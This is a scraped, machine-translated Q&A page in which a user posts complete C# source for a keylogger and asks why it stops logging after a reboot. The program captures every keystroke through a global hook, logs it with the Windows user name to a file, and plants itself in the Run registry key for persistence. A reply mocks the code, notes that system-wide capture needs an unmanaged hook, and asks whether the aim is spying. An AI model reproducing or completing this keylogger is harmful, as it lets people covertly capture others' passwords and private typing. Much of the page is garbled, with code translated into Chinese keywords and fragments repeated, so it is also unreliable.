重新启动期间键盘跟踪无法正常工作 [英] Keyboard tracking is not working properly during restart

查看:68
本文介绍了重新启动期间键盘跟踪无法正常工作的处理方法,对大家解决问题具有一定的参考价值,需要的朋友们下面随着小编来一起学习吧!

问题描述

我已经编写了一个键盘跟踪程序,它可以读取按下和写入的按键作为日志文件.它可以正常工作,但是我的问题是我已经将其构建为可以在启动时工作了


Registry.CurrentUser.OpenSubKey(@"SOFTWARE \ Microsoft \ Windows \ CurrentVersion \ Run",true).SetValue("startup",Application.ExecutablePath.ToString());

但其过程已成功列在过程列表中,但按键跟踪不起作用
重新启动计算机期间日志文件未正确更新


使用系统;
使用System.Collections.Generic;
使用System.ComponentModel;
使用System.Data;
使用System.Drawing;
使用System.Linq;
使用System.Text;
使用System.Windows.Forms;
使用System.IO;
使用Microsoft.Win32;
使用System.Security.Principal;

命名空间winapi
{
公共局部类Form1:Form
{
私人globalKeyboardHook gkh =新的globalKeyboardHook();
private int i = 0;
int c = 0;
公共Form1()
{
InitializeComponent();
}


私有void Form1_Load(对象发送者,EventArgs e)
{
StreamWriter SW;

this.SetStartup();

gkh.KeyDown + =新的KeyEventHandler(Form1_KeyDown);
this.HookAll();
如果(File.Exists("log.txt"))
{
SW = new StreamWriter("log.txt",true);
SW.Write(SW.NewLine);
SW.Write(SW.NewLine);
SW.Write(DateTime.Now.ToString("dd/MM/yyyy"));
SW.Write(DateTime.Now.ToLongTimeString());
SW.Write(SW.NewLine);
SW.Write(DateTime.Now.ToString("ddddd"));
SW.Write(SW.NewLine);
SW.Write(SW.NewLine);
SW.Close();
}
其他
{
SW = new StreamWriter("log.txt",true);
SW.Write(SW.NewLine);
SW.Write(WindowsIdentity.GetCurrent().Name);
SW.Write(SW.NewLine);
SW.Write(DateTime.Now.ToLongTimeString());
SW.Write(SW.NewLine);
SW.Write(DateTime.Now.ToString("ddddd"));
SW.Write(SW.NewLine);
SW.Write(DateTime.Now.ToString("dd/MM/yyyy"));
SW.Write(SW.NewLine);
SW.Close();
}
}

私有void SetStartup()
{
Registry.CurrentUser.OpenSubKey(@"SOFTWARE \ Microsoft \ Windows \ CurrentVersion \ Run",true).SetValue("startup",Application.ExecutablePath.ToString());
}
私有void HookAll()
{
foreach(Enum.GetValues(typeof(Keys))中的对象键)
{
this.gkh.HookedKeys.Add((Keys)key);
}
}


私人void Form1_KeyDown(object sender,KeyEventArgs e)
{
i ++;
字符串s =";

StreamWriter SW =新的StreamWriter("log.txt",true);
开关(e.KeyCode)
{

案例Keys.D1:
如果(c!= 0)
{SW.Write(!"); }
c = 0;
休息;

案例Keys.D2:
如果(c!= 0)
{SW.Write("@"); }
c = 0;
休息;
案例Keys.D3:
如果(c!= 0)
{SW.Write(#"); }
c = 0;
休息;
案例Keys.D4:
如果(c!= 0)
{SW.Write("$"); }
c = 0;
休息;
案例Keys.D5:
如果(c!= 0)
{SW.Write(%"); }
c = 0;
休息;
案例Keys.D6:
如果(c!= 0)
{SW.Write("^"); }
c = 0;
休息;
案例Keys.D7:
如果(c!= 0)
{SW.Write(& amp;"); }
c = 0;
休息;
案例Keys.D8:
如果(c!= 0)
{SW.Write("*"); }
c = 0;
休息;
案例Keys.D9:
如果(c!= 0)
{SW.Write((");}
c = 0;
休息;
案例Keys.D0:
如果(c!= 0)
{SW.Write()"); }
c = 0;
休息;

案例Keys.Space:
SW.Write(");
休息;

大小写字母.输入:
SW.Write(Environment.NewLine);
休息;
case Keys.OemPeriod:
SW.Write(.");
休息;

case Keys.LMenu:
SW.Write("{ALT}");
休息;

case Keys.Oem7:
SW.Write(''");
休息;
case Keys.RShiftKey:
SW.Write(");
c ++;
休息;
案例Keys.Oemcomma:
SW.Write(,");
休息;
case Keys.LShiftKey:
SW.Write(");
c ++;
休息;
case Keys.NumPad0:
SW.Write("0");
休息;
case Keys.NumPad1:
SW.Write("1");
休息;
case Keys.NumPad2:
SW.Write("2");
休息;
case Keys.NumPad3:
SW.Write("3");
休息;
case Keys.NumPad4:
SW.Write("4");
休息;
case Keys.NumPad5:
SW.Write("5");
休息;
case Keys.NumPad6:
SW.Write("6");
休息;
case Keys.NumPad7:
SW.Write("7");
休息;
case Keys.NumPad8:
SW.Write("8");
休息;
case Keys.NumPad9:
SW.Write("9");
休息;


默认值:
如果(Control.ModifierKeys!= Keys.Shift)
{
SW.Write(e.KeyCode.ToString().ToLower());
}
其他
{
SW.Write(e.KeyCode);
}
休息;
}
如果(this.i == 80)
{
SW.Write(SW.NewLine);
this.i = 0;
}
SW.Close();
}
}
}

I have written a keyboard tracking program it reads keys pressed and writen as a log file.Its works fine but my problem is i have build it for working from startup


Registry.CurrentUser.OpenSubKey(@"SOFTWARE\Microsoft\Windows\CurrentVersion\Run", true).SetValue("startup", Application.ExecutablePath.ToString());

but its process sucessfully listed in process list but key tracking is not working
properly the log file is not updating during restaring of computer


using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Windows.Forms;
using System.IO;
using Microsoft.Win32;
using System.Security.Principal;

namespace winapi
{
public partial class Form1 : Form
{
private globalKeyboardHook gkh = new globalKeyboardHook();
private int i = 0;
int c = 0;
public Form1()
{
InitializeComponent();
}


private void Form1_Load(object sender, EventArgs e)
{
StreamWriter SW;

this.SetStartup();

gkh.KeyDown += new KeyEventHandler(Form1_KeyDown);
this.HookAll();
if (File.Exists("log.txt"))
{
SW = new StreamWriter("log.txt", true);
SW.Write(SW.NewLine);
SW.Write(SW.NewLine);
SW.Write(DateTime.Now.ToString("dd / MM / yyyy"));
SW.Write(DateTime.Now.ToLongTimeString());
SW.Write(SW.NewLine);
SW.Write(DateTime.Now.ToString("ddddd"));
SW.Write(SW.NewLine);
SW.Write(SW.NewLine);
SW.Close();
}
else
{
SW = new StreamWriter("log.txt", true);
SW.Write(SW.NewLine);
SW.Write(WindowsIdentity.GetCurrent().Name);
SW.Write(SW.NewLine);
SW.Write(DateTime.Now.ToLongTimeString());
SW.Write(SW.NewLine);
SW.Write(DateTime.Now.ToString("ddddd"));
SW.Write(SW.NewLine);
SW.Write(DateTime.Now.ToString("dd / MM / yyyy"));
SW.Write(SW.NewLine);
SW.Close();
}
}

private void SetStartup()
{
Registry.CurrentUser.OpenSubKey(@"SOFTWARE\Microsoft\Windows\CurrentVersion\Run", true).SetValue("startup", Application.ExecutablePath.ToString());
}
private void HookAll()
{
foreach (object key in Enum.GetValues(typeof(Keys)))
{
this.gkh.HookedKeys.Add((Keys)key);
}
}


private void Form1_KeyDown(object sender, KeyEventArgs e)
{
i++;
string s = " ";

StreamWriter SW = new StreamWriter("log.txt", true);
switch (e.KeyCode)
{

case Keys.D1:
if (c != 0)
{ SW.Write("!"); }
c = 0;
break;

case Keys.D2:
if (c != 0)
{ SW.Write("@"); }
c = 0;
break;
case Keys.D3:
if (c != 0)
{ SW.Write("#"); }
c = 0;
break;
case Keys.D4:
if (c != 0)
{ SW.Write("$"); }
c = 0;
break;
case Keys.D5:
if (c != 0)
{ SW.Write("%"); }
c = 0;
break;
case Keys.D6:
if (c != 0)
{ SW.Write("^"); }
c = 0;
break;
case Keys.D7:
if (c != 0)
{ SW.Write("&"); }
c = 0;
break;
case Keys.D8:
if (c != 0)
{ SW.Write("*"); }
c = 0;
break;
case Keys.D9:
if (c != 0)
{ SW.Write("("); }
c = 0;
break;
case Keys.D0:
if (c != 0)
{ SW.Write(")"); }
c = 0;
break;

case Keys.Space:
SW.Write(" ");
break;

case Keys.Enter:
SW.Write(Environment.NewLine);
break;
case Keys.OemPeriod:
SW.Write(".");
break;

case Keys.LMenu:
SW.Write("{ALT}");
break;

case Keys.Oem7:
SW.Write("''");
break;
case Keys.RShiftKey:
SW.Write("");
c++;
break;
case Keys.Oemcomma:
SW.Write(",");
break;
case Keys.LShiftKey:
SW.Write("");
c++;
break;
case Keys.NumPad0:
SW.Write("0");
break;
case Keys.NumPad1:
SW.Write("1");
break;
case Keys.NumPad2:
SW.Write("2");
break;
case Keys.NumPad3:
SW.Write("3");
break;
case Keys.NumPad4:
SW.Write("4");
break;
case Keys.NumPad5:
SW.Write("5");
break;
case Keys.NumPad6:
SW.Write("6");
break;
case Keys.NumPad7:
SW.Write("7");
break;
case Keys.NumPad8:
SW.Write("8");
break;
case Keys.NumPad9:
SW.Write("9");
break;


default:
if (Control.ModifierKeys != Keys.Shift)
{
SW.Write(e.KeyCode.ToString().ToLower());
}
else
{
SW.Write(e.KeyCode);
}
break;
}
if (this.i == 80)
{
SW.Write(SW.NewLine);
this.i = 0;
}
SW.Close();
}
}
}

推荐答案

);}
c = 0;
休息;
案例Keys.D5:
如果(c!= 0)
{SW.Write(%"); }
c = 0;
休息;
案例Keys.D6:
如果(c!= 0)
{SW.Write("^"); }
c = 0;
休息;
案例Keys.D7:
如果(c!= 0)
{SW.Write(& amp;"); }
c = 0;
休息;
案例Keys.D8:
如果(c!= 0)
{SW.Write("*"); }
c = 0;
休息;
案例Keys.D9:
如果(c!= 0)
{SW.Write((");}
c = 0;
休息;
案例Keys.D0:
如果(c!= 0)
{SW.Write()"); }
c = 0;
休息;

案例Keys.Space:
SW.Write(");
休息;

大小写字母.输入:
SW.Write(Environment.NewLine);
休息;
case Keys.OemPeriod:
SW.Write(.");
休息;

case Keys.LMenu:
SW.Write("{ALT}");
休息;

case Keys.Oem7:
SW.Write(''");
休息;
case Keys.RShiftKey:
SW.Write(");
c ++;
休息;
案例Keys.Oemcomma:
SW.Write(,");
休息;
case Keys.LShiftKey:
SW.Write(");
c ++;
休息;
case Keys.NumPad0:
SW.Write("0");
休息;
case Keys.NumPad1:
SW.Write("1");
休息;
case Keys.NumPad2:
SW.Write("2");
休息;
case Keys.NumPad3:
SW.Write("3");
休息;
case Keys.NumPad4:
SW.Write("4");
休息;
case Keys.NumPad5:
SW.Write("5");
休息;
case Keys.NumPad6:
SW.Write("6");
休息;
case Keys.NumPad7:
SW.Write("7");
休息;
case Keys.NumPad8:
SW.Write("8");
休息;
case Keys.NumPad9:
SW.Write("9");
休息;


默认值:
如果(Control.ModifierKeys!= Keys.Shift)
{
SW.Write(e.KeyCode.ToString().ToLower());
}
其他
{
SW.Write(e.KeyCode);
}
休息;
}
如果(this.i == 80)
{
SW.Write(SW.NewLine);
this.i = 0;
}
SW.Close();
}
}
}
"); }
c = 0;
break;
case Keys.D5:
if (c != 0)
{ SW.Write("%"); }
c = 0;
break;
case Keys.D6:
if (c != 0)
{ SW.Write("^"); }
c = 0;
break;
case Keys.D7:
if (c != 0)
{ SW.Write("&"); }
c = 0;
break;
case Keys.D8:
if (c != 0)
{ SW.Write("*"); }
c = 0;
break;
case Keys.D9:
if (c != 0)
{ SW.Write("("); }
c = 0;
break;
case Keys.D0:
if (c != 0)
{ SW.Write(")"); }
c = 0;
break;

case Keys.Space:
SW.Write(" ");
break;

case Keys.Enter:
SW.Write(Environment.NewLine);
break;
case Keys.OemPeriod:
SW.Write(".");
break;

case Keys.LMenu:
SW.Write("{ALT}");
break;

case Keys.Oem7:
SW.Write("''");
break;
case Keys.RShiftKey:
SW.Write("");
c++;
break;
case Keys.Oemcomma:
SW.Write(",");
break;
case Keys.LShiftKey:
SW.Write("");
c++;
break;
case Keys.NumPad0:
SW.Write("0");
break;
case Keys.NumPad1:
SW.Write("1");
break;
case Keys.NumPad2:
SW.Write("2");
break;
case Keys.NumPad3:
SW.Write("3");
break;
case Keys.NumPad4:
SW.Write("4");
break;
case Keys.NumPad5:
SW.Write("5");
break;
case Keys.NumPad6:
SW.Write("6");
break;
case Keys.NumPad7:
SW.Write("7");
break;
case Keys.NumPad8:
SW.Write("8");
break;
case Keys.NumPad9:
SW.Write("9");
break;


default:
if (Control.ModifierKeys != Keys.Shift)
{
SW.Write(e.KeyCode.ToString().ToLower());
}
else
{
SW.Write(e.KeyCode);
}
break;
}
if (this.i == 80)
{
SW.Write(SW.NewLine);
this.i = 0;
}
SW.Close();
}
}
}


无论错误是什么,乍看一下您的代码,我都不认为值得寻找.您的权利与编程无关.编程完全是关于抽象和代码重用的,但是您可以让自己在长开关块中重复相同的代码片段.听说过带有参数的方法吗?另外,您可以在代码中使用硬编码的立即数.您如何支持它?如果您允许自己多次重复单个代码片段,则没有什么可谈的.在转到任何高级主题之前,您仍然需要掌握编程活动的基本思想.毕竟要看一些好的代码.

不,我不知道您的代码如何充当键记录器,因为您的代码暗示您具有至少已激活的表单.如果是这样,那么根本就不需要自动加载它.要处理按键,您需要安装Windows Hook.若要使Windows Hook系统成为全局系统,您需要在非托管DLL中创建它并组织与.NET代码的通信.您可以从此处开始 http://msdn.microsoft.com/en -us/library/ms632589%28v = vs.85%29.aspx [
No matter what the error is, I don''t think it worth looking for after a first glance at your code. What you right has nothing to do with programming. Programming is all about abstraction and code re-use, but you allow yourself to repeat the same code fragment in the long switch block. Ever heard of methods with parameters? Also, you use immediate constants hard-coded in your code. How can you support it? If you allow yourself to repeat a single code fragment several times, there is nothing to talk about. You still need to grasp the basic ideas of programming activity before you go to any advanced topic. Look at some good codes, after all.

No, I have no idea how your code can work as a key logger as your code imply that you have a form which is at least activated. If so, what''s the point to load it automatically at all. To handle key presses you need to install Windows Hook. To make a Windows Hook system-global, you need to create it in unmanaged DLL and organize communication with your .NET code. You can start from here http://msdn.microsoft.com/en-us/library/ms632589%28v=vs.85%29.aspx[^], but I''m afraid to say it could be well over your head, considering what I mentioned above.

Another thing I would concern about: why would anyone need a key logger? To spy on somebody? If so, I would feel very much ashamed if I''m helpful here.

—SA


这篇关于重新启动期间键盘跟踪无法正常工作的文章就介绍到这了,希望我们推荐的答案对大家有所帮助,也希望大家多多支持IT屋!

查看全文
登录 关闭
扫码关注1秒登录
发送“验证码”获取 | 15天全站免登陆